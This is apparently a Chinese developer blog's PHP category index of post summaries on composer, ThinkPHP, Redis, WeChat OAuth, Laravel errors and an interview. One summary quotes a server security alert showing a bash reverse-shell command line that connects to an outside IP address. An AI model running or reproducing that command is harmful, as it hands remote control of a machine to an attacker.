随笔分类 - PHP
摘要:composer自身版本太低了,更新下 composer self-update 使用阿里云镜像 composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
阅读全文
摘要:项目中的thinkphp6.0\app\common\Model.php 1 <?php 2 /** 3 * 数据库及缓存模型 4 */ 5 namespace app\common; 6 7 use app\index\server\RedisServer; 8 use think\db\Base
阅读全文
摘要:执行了升级composer self-update导致了 降级处理 composer self-update --1 composer install
阅读全文
摘要:[Symfony\Component\Process\Exception\RuntimeException] The Process class relies on proc_open, which is not available on your PHP installation. 解决方案: 打
阅读全文
摘要:我们都知道ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架。 ThinkPHP6主要更新了什么呢? 1. 支持PHP最新的强类型 2. PSR开发规范得了更广泛的应用 3. 对Swoole支持得到了优化与提升 4. 支持更多的IDE编辑器友好提示 5. 对原生的语法进行大
阅读全文
摘要:php7.0版本以上不支持mcrypt_encryp函数进行加密的代码,加密方式改为openssl_encrypt 用自己私人的服务器来测试吧,99买阿里云 openssl_系列支持php5.3以上版本 1、加密方式:openssl_encrypt // 待加密数据$data // 加密方式$met
阅读全文
摘要:FastAdmin 基于ThinkPHP和Bootstrap的极速后台开发框架 https://www.fastadmin.net 安装node.js 1.获取node.js资源 V8.x: curl --silent --location https://rpm.nodesource.com/se
阅读全文
摘要:tp中js在行末使用注释报错Uncaught SyntaxError: Unexpected token }
阅读全文
摘要:今天下午来到北京百度科技园进行复试PHP工程师岗位。 面试官问了很多问题,我大概整理回忆下: 1.Redis秒杀实现? 2.服务器定时器实现,crontab 、crontab -e区别,死循环如何结束? 3.PHP如何运行shell脚本,配置文件在哪开启 4.获取HTTP头文件 5.Nginx负载均
阅读全文
摘要:一、Redis集群介绍 Redis真的是一个优秀的技术,它是一种key-value形式的NoSQL内存数据库,由ANSI C编写,遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 Redis最大的特性是它会将所有数据都放在内存中,所以读写速度
阅读全文
摘要:进程异常行为-反弹Shell攻击 父进程名称:bash 进程名称:bash 进程名称:/usr/bin/bash 进程id:23,077 命令行参数:sh -c /bin/bash -i >& /dev/tcp/27.255.72.119/4451 0>&1 说明:黑客利用远程代码执行漏洞或者恶意木
阅读全文
摘要:Laravel中我们可以登录到服务器通过 Tinker 手动创建后台用户 laravel中tinker命令的作用是用来调试laravel,可以打印变量或对象信息,显示函数代码,对数据库写入和查询数据。输入help可以查看帮助信息。 tinker命令的启动方式为php artisan tinker,运
阅读全文
摘要:Laravel5.x运行迁移命令创建数据表:php artisan migrate报错。 Illuminate\Database\QueryException : SQLSTATE[42000]: Syntax error or access violation: 1071 Specified ke
阅读全文
摘要:报错1:PHP Fatal error: Allowed memory size of XXXXXX bytes exhausted 。
报错2:PHP Parse error: syntax error, unexpected T_CLASS, expecting T_STRING or T_VARIABLE or '$' in XXXXXX。
报错3:PHP Warning: require(XXXX/autoload.php) : failed to open stream: Nosuch file or directory in XXXX。
阅读全文
摘要:大型网站,比如门户网站,在面对大量用户访问、高并发请求方面带来的问题1大并发:在同一个时间点,有大量的客户来访问我们的网站,如果访问量过大,就可能造成网站瘫痪。2大流量:当网站大后,有大量的图片,视频, 这样就会对流量要求高,需要更多更大的带宽。3大存储:你的数据量会成海量的数据,如果我们的数据放入
阅读全文
摘要:一、这个文件微信授权使用的是OAuth2.0授权的方式。主要有以下简略步骤: 第一步:判断有没有code,有code去第三步,没有code去第二步 第二步:用户同意授权,获取code 第三步:通过code换取网页授权access_token 第四步:使用access_token获取用户信息 http
阅读全文
摘要:一、微信授权使用的是OAuth2.0授权的方式。主要有以下简略步骤: 第一步:用户同意授权,获取code 第二步:通过code换取网页授权access_token 第三步:拉取用户信息(需scope为 snsapi_userinfo) 微信网页授权开发文档请看官网:https://mp.weixin
阅读全文
摘要:项目地址:https://github.com/HADB/GetWeixinCode 说明:微信项目很多,但是回调域名有限,经常使用,做个笔记。 解决微信OAuth2.0网页授权只能设置一个回调域名的问题 get-weixin-code.html 使用方法 部署get-weixin-code.htm
阅读全文
摘要:这个爬虫写的比较久远,很久没有更新博客了。 1.首先思路是:通过php的curl_setopt()函数可以方便快捷的抓取网页。 2.什么样的新闻吸引人呢,当然的热点新闻了。这里选百度的搜索风云榜,获取热点关键词列表。 3.为了方便过滤,我们筛选搜狐的新闻。由于搜狐是通过搜狗搜索的新闻。所以把百度热点
阅读全文
摘要:微信公众号支付官方demo错误, 公众号支付只能用在微信里,也就是微信内部浏览器. 1.到WxPayHubHelper.php文件 JsApi_pub()类下createOauthUrlForCode($redirectUrl)方法, 第二个参数 改为 $urlObj["redirect_uri"]
阅读全文